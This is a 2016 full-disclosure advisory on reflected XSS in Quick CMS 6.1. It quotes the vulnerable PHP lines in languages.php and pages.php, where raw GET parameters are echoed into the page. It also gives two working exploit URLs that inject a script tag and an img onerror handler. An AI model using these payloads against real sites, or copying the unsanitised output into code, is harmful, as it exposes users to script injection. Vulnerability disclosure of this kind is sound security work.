Quick CMS v 6.1 XSS Vulnerability

## FULL DISCLOSURE

#Product    : Quick CMS
#Exploit Author  : Rahul Pratap Singh
#Version    : 6.1
#Home page Link  : http://opensolution.org/home.html
#Website    : 0x62626262.wordpress.com
#Linkedin   : https://in.linkedin.com/in/rahulpratapsingh94
#Date       : 19/Jan/2016

XSS Vulnerability:

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Description:
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 "sLangEdit" and "sSort" parameters are not sanitized that leads to
Reflected XSS.

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Vulnerable Code:
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File Name: languages.php

Found at line:23
<h1><?php echo $lang['Languages'].( isset( $_GET['sLangEdit'] ) ? '
'.$_GET['sLangEdit'] : null ); ?></h1>

File Name: pages.php

Found at line:49
<form action="?p=pages<?php if( isset( $_GET['sSort'] ) ) echo
'&amp;sSort='.$_GET['sSort']; ?>" name="form" method="post"
class="main-form">

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Exploit:
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localhost/Quick.Cms_v6.1-en/admin.php?p=languages&sLangEdit=</h1><script>alert("XSS")</script><h1>

localhost/Quick.Cms_v6.1-en/admin.php?p=pages&sSort="><img%20src=x%20onerror=confirm(1)><!--

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POC:
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https://0x62626262.files.wordpress.com/2016/01/quick-cms-v6-1xsspoc.png
https://0x62626262.files.wordpress.com/2016/01/quick-cms-v6-1xsspoc2.png


Disclosure Timeline:
Tried to contact vendor via email  : 14/1/2016 ( email bounce back)
Tried to contact vendor via forum : 18/1/2016 (thread deleted, no response)
Public Disclosure: 19/1/2016

Pub ref:
https://0x62626262.wordpress.com/2016/01/19/quick-cms-v-6-1-xss-vulnerability